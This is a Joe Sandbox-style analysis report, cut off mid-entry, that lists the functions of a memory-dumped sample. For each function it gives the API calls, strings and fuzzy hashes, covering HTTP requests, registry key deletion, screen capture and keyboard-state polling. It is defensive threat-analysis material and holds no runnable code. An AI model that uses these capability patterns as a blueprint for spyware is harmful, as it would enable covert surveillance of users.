API String ID: 221274066-3440237614
Opcode ID: 57f00543787834b8ff290d87b46045cc14e22d830d2eea33294682551290b211
Instruction ID: 845c3f054dab6b7fa85fcbfe794eb65ad2b4227eb615fbdc25e40bea0e06515e
Opcode Fuzzy Hash: 57f00543787834b8ff290d87b46045cc14e22d830d2eea33294682551290b211
Instruction Fuzzy Hash: 8C619A71108340AFC301EF65CD85DAFBBE8EF88750F40496EF5AA931A1DB709A49CB52

Function 00B5C476 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 143networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00B5C4B0
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 00B5C4C3
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 00B5C4D7
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00B5C4F0
InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 00B5C533
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00B5C549
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00B5C554
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00B5C584
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 00B5C5DC
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 00B5C5F0
InternetCloseHandle.WININET(00000000), ref: 00B5C5FB

Strings

, xrefs: 00B5C575

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Internet$Http$ErrorEventLastOptionQueryRequest$CloseConnectHandleInfoOpenSend
String ID:
API String ID: 3800310941-3916222277
Opcode ID: 9aad51fcf9a6983c45734445fc26a25ffb1193706b634e690fc554a94db72449
Instruction ID: f638be6bf78a6c804f6cdc27ca6f4d93c6bbd7fa219f7d6cc90708bda165f0a5
Opcode Fuzzy Hash: 9aad51fcf9a6983c45734445fc26a25ffb1193706b634e690fc554a94db72449
Instruction Fuzzy Hash: C0514CB0500304BFEB219FA4D989BAB7FFDEB18745F00449DF94997250EB34EA489B60

Function 00B7856F Relevance: 22.6, APIs: 15, Instructions: 131filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,00000000,?), ref: 00B78592
GetFileSize.KERNEL32(00000000,00000000), ref: 00B785A2
GlobalAlloc.KERNEL32(00000002,00000000), ref: 00B785AD
CloseHandle.KERNEL32(00000000), ref: 00B785BA
GlobalLock.KERNEL32(00000000), ref: 00B785C8
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00B785D7
GlobalUnlock.KERNEL32(00000000), ref: 00B785E0
CloseHandle.KERNEL32(00000000), ref: 00B785E7
CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 00B785F8
OleLoadPicture.OLEAUT32(?,00000000,00000000,00B7FC38,?), ref: 00B78611
GlobalFree.KERNEL32(00000000), ref: 00B78621
GetObjectW.GDI32(?,00000018,000000FF), ref: 00B78641
CopyImage.USER32(?,00000000,00000000,?,00002000), ref: 00B78671
DeleteObject.GDI32(00000000), ref: 00B78699
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 00B786AF

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 72b3cacb65b40b6772a2fe998206fa3929e16e931042693addabbbeae198e4a3
Instruction ID: 84c4140cb233fa205c30ddc57a3442645f24bc0d8397d828add3a1090f6668e6
Opcode Fuzzy Hash: 72b3cacb65b40b6772a2fe998206fa3929e16e931042693addabbbeae198e4a3
Instruction Fuzzy Hash: 90411975640205BFDB119FA5DC8CEAA7BB8FF89B11F10805CF91AE72A1DB309941CB60

Function 00B514BD Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 360timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 00B51502
VariantCopy.OLEAUT32(?,?), ref: 00B5150B
VariantClear.OLEAUT32(?), ref: 00B51517
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 00B515FB
VarR8FromDec.OLEAUT32(?,?), ref: 00B51657
VariantInit.OLEAUT32(?), ref: 00B51708
SysFreeString.OLEAUT32(?), ref: 00B5178C
VariantClear.OLEAUT32(?), ref: 00B517D8
VariantClear.OLEAUT32(?), ref: 00B517E7
VariantInit.OLEAUT32(00000000), ref: 00B51823

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 00B51625
Default, xrefs: 00B516AF

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 1234038744-3931177956
Opcode ID: 893596f42c9d8303365dafb305b912663fc156d66a285849532877333f8722ac
Instruction ID: adc8200e439f0aff614a38e221b2f385ac4344c8256f7ed11433c81bc709f238
Opcode Fuzzy Hash: 893596f42c9d8303365dafb305b912663fc156d66a285849532877333f8722ac
Instruction Fuzzy Hash: DFD1D071A00205DBDB10AF69E885B79B7F5FF44701F1088DAF806AB290EB34EC49DB61

Function 00B6B60E Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 285registrylibraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE9CB3: _wcslen.LIBCMT ref: 00AE9CBD

Part of subcall function 00B6C998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00B6B6AE,?,?), ref: 00B6C9B5
Part of subcall function 00B6C998: _wcslen.LIBCMT ref: 00B6C9F1
Part of subcall function 00B6C998: _wcslen.LIBCMT ref: 00B6CA68
Part of subcall function 00B6C998: _wcslen.LIBCMT ref: 00B6CA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00B6B6F4
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00B6B772
RegDeleteValueW.ADVAPI32(?,?), ref: 00B6B80A
RegCloseKey.ADVAPI32(?), ref: 00B6B87E
RegCloseKey.ADVAPI32(?), ref: 00B6B89C
LoadLibraryA.KERNEL32(advapi32.dll), ref: 00B6B8F2
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00B6B904
RegDeleteKeyW.ADVAPI32(?,?), ref: 00B6B922
FreeLibrary.KERNEL32(00000000), ref: 00B6B983
RegCloseKey.ADVAPI32(00000000), ref: 00B6B994

Strings

advapi32.dll, xrefs: 00B6B8ED
RegDeleteKeyExW, xrefs: 00B6B8FE

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: _wcslen$Close$DeleteLibrary$AddressBuffCharConnectFreeLoadOpenProcRegistryUpperValue
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 146587525-4033151799
Opcode ID: 405446bfdb9f8961072d99b8a486754fd4de1d2295971e57f08cab907347cf3d
Instruction ID: bd777ef89b41c675eb3d97baa198568b918fb0fd3c9e80ba18be5f24f8e9d139
Opcode Fuzzy Hash: 405446bfdb9f8961072d99b8a486754fd4de1d2295971e57f08cab907347cf3d
Instruction Fuzzy Hash: EEC18C31208241AFD714DF15C494F2ABBF5FF84318F14849CE5AA8B2A2CB35ED86CB91

Function 00B6255C Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 169windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00B625D8
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00B625E8
CreateCompatibleDC.GDI32(?), ref: 00B625F4
SelectObject.GDI32(00000000,?), ref: 00B62601
StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000006,?,?,?,00CC0020), ref: 00B6266D
GetDIBits.GDI32(?,?,00000000,00000000,00000000,00000028,00000000), ref: 00B626AC
GetDIBits.GDI32(?,?,00000000,?,00000000,00000028,00000000), ref: 00B626D0
SelectObject.GDI32(?,?), ref: 00B626D8
DeleteObject.GDI32(?), ref: 00B626E1
DeleteDC.GDI32(?), ref: 00B626E8
ReleaseDC.USER32(00000000,?), ref: 00B626F3

Strings

(, xrefs: 00B6268D

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: 5101f2be3a05cde58fd6b2243e258f94b5565c57625c793a8b299eea7512ab47
Instruction ID: e2069fc6f1fb686a968ed376908ceb5f089067a9529371df8bac16daa0117010
Opcode Fuzzy Hash: 5101f2be3a05cde58fd6b2243e258f94b5565c57625c793a8b299eea7512ab47
Instruction Fuzzy Hash: AD61C175D00219AFDF14CFA4D884AAEBBF5FF48310F208569E959A7250D774A941CF90

Function 00B1DA5D Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00B1DAA1

Part of subcall function 00B1D63C: _free.LIBCMT ref: 00B1D659
Part of subcall function 00B1D63C: _free.LIBCMT ref: 00B1D66B
Part of subcall function 00B1D63C: _free.LIBCMT ref: 00B1D67D
Part of subcall function 00B1D63C: _free.LIBCMT ref: 00B1D68F
Part of subcall function 00B1D63C: _free.LIBCMT ref: 00B1D6A1
Part of subcall function 00B1D63C: _free.LIBCMT ref: 00B1D6B3
Part of subcall function 00B1D63C: _free.LIBCMT ref: 00B1D6C5
Part of subcall function 00B1D63C: _free.LIBCMT ref: 00B1D6D7
Part of subcall function 00B1D63C: _free.LIBCMT ref: 00B1D6E9
Part of subcall function 00B1D63C: _free.LIBCMT ref: 00B1D6FB
Part of subcall function 00B1D63C: _free.LIBCMT ref: 00B1D70D
Part of subcall function 00B1D63C: _free.LIBCMT ref: 00B1D71F
Part of subcall function 00B1D63C: _free.LIBCMT ref: 00B1D731

_free.LIBCMT ref: 00B1DA96

Part of subcall function 00B129C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00B1D7D1,00000000,00000000,00000000,00000000,?,00B1D7F8,00000000,00000007,00000000,?,00B1DBF5,00000000), ref: 00B129DE
Part of subcall function 00B129C8: GetLastError.KERNEL32(00000000,?,00B1D7D1,00000000,00000000,00000000,00000000,?,00B1D7F8,00000000,00000007,00000000,?,00B1DBF5,00000000,00000000), ref: 00B129F0

_free.LIBCMT ref: 00B1DAB8
_free.LIBCMT ref: 00B1DACD
_free.LIBCMT ref: 00B1DAD8
_free.LIBCMT ref: 00B1DAFA
_free.LIBCMT ref: 00B1DB0D
_free.LIBCMT ref: 00B1DB1B
_free.LIBCMT ref: 00B1DB26
_free.LIBCMT ref: 00B1DB5E
_free.LIBCMT ref: 00B1DB65
_free.LIBCMT ref: 00B1DB82
_free.LIBCMT ref: 00B1DB9A

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: cf9d4bb7284f0f6d4d6cbafd6b076e2002713ce4e4792b4824048f02d62deb77
Instruction ID: 2872a3008d5815f2db6beab0f10db1dadb9b17e402b60aa3808adac42eee62cd
Opcode Fuzzy Hash: cf9d4bb7284f0f6d4d6cbafd6b076e2002713ce4e4792b4824048f02d62deb77
Instruction Fuzzy Hash: 15312A326086059FEB21AB39E845BDB77E9FF00360F9544A9E449DB291DB35ACE08720

Function 00B4365B Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 267windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00B4369C
_wcslen.LIBCMT ref: 00B436A7
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00B43797
GetClassNameW.USER32(?,?,00000400), ref: 00B4380C
GetDlgCtrlID.USER32(?), ref: 00B4385D
GetWindowRect.USER32(?,?), ref: 00B43882
GetParent.USER32(?), ref: 00B438A0
ScreenToClient.USER32(00000000), ref: 00B438A7
GetClassNameW.USER32(?,?,00000100), ref: 00B43921
GetWindowTextW.USER32(?,?,00000400), ref: 00B4395D

Strings

%s%u, xrefs: 00B43734

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout_wcslen
String ID: %s%u
API String ID: 4010501982-679674701
Opcode ID: fa6d842897de4afe2e5dc39ac5d2b461b3a0184189fb0e28b8bf9b48763a8069
Instruction ID: 69a1bc467986bc069e915098e4bda9ce3a3afe287cd1294b2f687b2148a1f90f
Opcode Fuzzy Hash: fa6d842897de4afe2e5dc39ac5d2b461b3a0184189fb0e28b8bf9b48763a8069
Instruction Fuzzy Hash: B991D071204606AFD718DF24C885FAAF7E8FF44B50F048669FA9AD2190DB30EB45DB91

Function 00B44954 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 253COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000400), ref: 00B44994
GetWindowTextW.USER32(?,?,00000400), ref: 00B449DA
_wcslen.LIBCMT ref: 00B449EB
CharUpperBuffW.USER32(?,00000000), ref: 00B449F7
_wcsstr.LIBVCRUNTIME ref: 00B44A2C
GetClassNameW.USER32(00000018,?,00000400), ref: 00B44A64
GetWindowTextW.USER32(?,?,00000400), ref: 00B44A9D
GetClassNameW.USER32(00000018,?,00000400), ref: 00B44AE6
GetClassNameW.USER32(?,?,00000400), ref: 00B44B20
GetWindowRect.USER32(?,?), ref: 00B44B8B

Strings

ThumbnailClass, xrefs: 00B44A6F, 00B44AF1

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ClassName$Window$Text$BuffCharRectUpper_wcslen_wcsstr
String ID: ThumbnailClass
API String ID: 1311036022-1241985126
Opcode ID: b18c627915018285fdd8c1ab1b8cae65f26dee1d18c913b7f3c88b2a75b4ac9a
Instruction ID: 28cdc71a247168ff352e8878dce82f141a9c8141482692f4b171a8aa1ab70e61
Opcode Fuzzy Hash: b18c627915018285fdd8c1ab1b8cae65f26dee1d18c913b7f3c88b2a75b4ac9a
Instruction Fuzzy Hash: 8A91BD710082059FDB14DF14C985BAABBE8FF84314F0484ADFD899B196EB30EE55DBA1

Function 00B6CC34 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 104registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 00B6CC64
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?,00000000), ref: 00B6CC8D
FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 00B6CD48

Part of subcall function 00B6CC34: RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 00B6CCAA
Part of subcall function 00B6CC34: LoadLibraryA.KERNEL32(advapi32.dll,?,?,00000000), ref: 00B6CCBD
Part of subcall function 00B6CC34: GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00B6CCCF
Part of subcall function 00B6CC34: FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 00B6CD05
Part of subcall function 00B6CC34: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 00B6CD28

RegDeleteKeyW.ADVAPI32(?,?), ref: 00B6CCF3

Strings

advapi32.dll, xrefs: 00B6CCB8
RegDeleteKeyExW, xrefs: 00B6CCC9

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Library$EnumFree$AddressCloseDeleteLoadOpenProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2734957052-4033151799
Opcode ID: 7ef590e7dd35e0bcdfd4130e45459da75b37452815bd0c166bde3723557adec1
Instruction ID: a334ea4919aecb168bb45c75d9e5cb150e0952610801afc0ad992b6b3b7abb11
Opcode Fuzzy Hash: 7ef590e7dd35e0bcdfd4130e45459da75b37452815bd0c166bde3723557adec1
Instruction Fuzzy Hash: 7C315E72901129BBD7209B55DC88EFFBFBCEF45750F0001B9E949E3150DB389A859AE0

Function 00B53D1E Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 101fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00B53D40
_wcslen.LIBCMT ref: 00B53D6D
CreateDirectoryW.KERNEL32(?,00000000), ref: 00B53D9D
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00B53DBE
RemoveDirectoryW.KERNEL32(?), ref: 00B53DCE
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00B53E55
CloseHandle.KERNEL32(00000000), ref: 00B53E60
CloseHandle.KERNEL32(00000000), ref: 00B53E6B

Strings

:, xrefs: 00B53D82
\, xrefs: 00B53D77
\??\%s, xrefs: 00B53D5B

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove_wcslen
String ID: :$\$\??\%s
API String ID: 1149970189-3457252023
Opcode ID: 657323bb76510dafd3342c7dbea5163a57af84eb583291a7ab6469d9c32ea277
Instruction ID: 5e554ccc863b6f44e004cb67a83ce1f028cbb6746d8d98771ac2c0e8135a2be3
Opcode Fuzzy Hash: 657323bb76510dafd3342c7dbea5163a57af84eb583291a7ab6469d9c32ea277
Instruction Fuzzy Hash: 76317372500119AADB219FA0DC49FEB37FCEF89B41F1041F9F909D61A1EB7497888B24

Function 00B4E6B0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00B4E6B4

Part of subcall function 00AFE551: timeGetTime.WINMM(?,?,00B4E6D4), ref: 00AFE555

Sleep.KERNEL32(0000000A), ref: 00B4E6E1
EnumThreadWindows.USER32(?,Function_0006E665,00000000), ref: 00B4E705
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00B4E727
SetActiveWindow.USER32 ref: 00B4E746
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00B4E754
SendMessageW.USER32(00000010,00000000,00000000), ref: 00B4E773
Sleep.KERNEL32(000000FA), ref: 00B4E77E
IsWindow.USER32 ref: 00B4E78A
EndDialog.USER32(00000000), ref: 00B4E79B

Strings

BUTTON, xrefs: 00B4E719

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: 738f4c5db52b67b7eb3633d45cc3bfdbba3944c56bc0ec6820bd22bbbf617939
Instruction ID: 31d7a3ef6537e1900a08347a12cf07f33588aa3ba772739fd22105492081d182
Opcode Fuzzy Hash: 738f4c5db52b67b7eb3633d45cc3bfdbba3944c56bc0ec6820bd22bbbf617939
Instruction Fuzzy Hash: 93218EB0600204AFEB005F64ECCAA263FE9F755799F10156DF52A831B1DFB1ED40AB24

Function 00B4E9FC Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 00AE9CB3: _wcslen.LIBCMT ref: 00AE9CBD

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00B4EA5D
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00B4EA73
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00B4EA84
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00B4EA96
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00B4EAA7

Strings

status PlayMe mode, xrefs: 00B4EA58
play PlayMe wait, xrefs: 00B4EA91
play PlayMe, xrefs: 00B4EAA2
open , xrefs: 00B4EA0C
alias PlayMe, xrefs: 00B4EA36
close PlayMe, xrefs: 00B4EA6E, 00B4EA9B

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: SendString$_wcslen
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2420728520-1007645807
Opcode ID: ab6c26ce94542936cd3928e2f92a2a1b09c89319c5e49fe99022e9fb98740c12
Instruction ID: ac0b839fe5aae9421dbdb81c57e5fa7da1429b3e7768fff4db8e785b0ca37c83
Opcode Fuzzy Hash: ab6c26ce94542936cd3928e2f92a2a1b09c89319c5e49fe99022e9fb98740c12
Instruction Fuzzy Hash: 5C117071A9425979D720E7A2DD4ADFF6BFCFBD6B00F440469B811A20E1EEB04E45C5B0

Function 00B49F91 Relevance: 18.2, APIs: 12, Instructions: 188keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00B4A012
SetKeyboardState.USER32(?), ref: 00B4A07D
GetAsyncKeyState.USER32(000000A0), ref: 00B4A09D
GetKeyState.USER32(000000A0), ref: 00B4A0B4
GetAsyncKeyState.USER32(000000A1), ref: 00B4A0E3
GetKeyState.USER32(000000A1), ref: 00B4A0F4
GetAsyncKeyState.USER32(00000011), ref: 00B4A120
